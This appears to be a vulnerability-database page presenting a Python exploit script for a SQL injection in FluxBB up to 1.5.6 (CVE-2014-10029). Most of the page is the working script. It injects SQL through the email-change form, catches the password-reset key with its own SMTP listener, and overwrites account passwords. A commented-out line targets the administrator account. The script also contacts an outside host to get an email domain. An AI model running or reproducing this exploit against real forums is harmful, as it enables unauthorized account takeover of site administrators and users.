Lucene search
K

FluxBB < 1.5.6 - SQL Injection Exploit

🗓️ 12 Oct 2018 00:00:00Reported by secthrowawayType 
zdt
 zdt
🔗 0day.today👁 44 Views

SQL Injection exploit for FluxBB <= 1.5.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2014-10029
12 Oct 201820:36
circl
CVE
CVE-2014-10029
13 Jan 201511:00
cve
Cvelist
CVE-2014-10029
13 Jan 201511:00
cvelist
EUVD
EUVD-2014-1101
7 Oct 202500:30
euvd
NVD
CVE-2014-10029
13 Jan 201511:59
nvd
Prion
Sql injection
13 Jan 201511:59
prion
#!/usr/bin/env python
# Friday, November 21, 2014 - secthrowaway () safe-mail net
# FluxBB <= 1.5.6 SQL Injection
# make sure that your IP is reachable
 
url  = 'http://target.tld/forum/'
user = 'user' # dummy account
pwd  = 'test'
 
import urllib, sys, smtpd, asyncore, re, sha
from email import message_from_string
from urllib2 import Request, urlopen
 
ua = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36"
bindip = '0.0.0.0'
 
def stage1(sql):
    if len(sql) > 80:
        sys.exit('SQL too long, max 80 chars')
    print "1st stage: %s (%d chars)" % (sql, len(sql))
    r = urlopen(Request('%sprofile.php?action=change_email&id=%s' % (url, uid), data="form_sent=1&req_new_email=%s&req_password=%s&new_email=Submit" % (urllib.quote(sql), pwd), headers={"Referer": "%sprofile.php" % url, "User-agent": ua, "Cookie": cookie})).read()
    if 'An email has been sent to the specified address' not in r:
        sys.exit('err')
 
def stage3(key):
    print "3rd stage, using key: %s" % key
    r = urlopen(Request('%sprofile.php?action=change_pass&id=%s&key=%s' % (url, uid, key), headers={"User-agent": ua})).read()
    if 'Your password has been updated' in r:
        print 'success'
    else:
        print 'err'
 
class stage2_smtp(smtpd.SMTPServer):
    def process_message(self, peer, mailfrom, rcpttos, data):
        print '2nd stage: got mail', peer, mailfrom, "to:", rcpttos
        key = re.search("(https?://.*&key=([^\s]+))", message_from_string(data).get_payload(decode=True), re.MULTILINE)
        if key is not None: 
            raise asyncore.ExitNow(key.group(2))
        return
 
def login():
    print "logging in"
    r = urlopen(Request('%slogin.php?action=in' % url, data="form_sent=1&req_username=%s&req_password=%s" % (user, pwd), headers={"User-agent": ua}))
    try:
        t = r.info()['set-cookie'].split(';')[0]
        return (t.split('=')[1].split('%7C')[0], t)
    except:
        sys.exit('unable to login, check user/pass')
 
uid, cookie = login()
 
email_domain = urlopen(Request('http://tns.re/gen')).read()
print "using domain: %s" % email_domain
 
#this will change your password to your password :)
stage1('%s\'/**/where/**/id=%s#@%s' % (sha.new(pwd).hexdigest(), uid, email_domain))
 
#this will change admin's (uid=2) password "123456"
#stage1('%s\'/**/where/**/id=%s#@%s' % (sha.new("123456").hexdigest(), 2, email_domain))
 
try:
    print "2nd stage: waiting for mail"
    server = stage2_smtp((bindip, 25), None)
    asyncore.loop()
except asyncore.ExitNow, key:
    stage3(key)

#  0day.today [2018-10-13]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation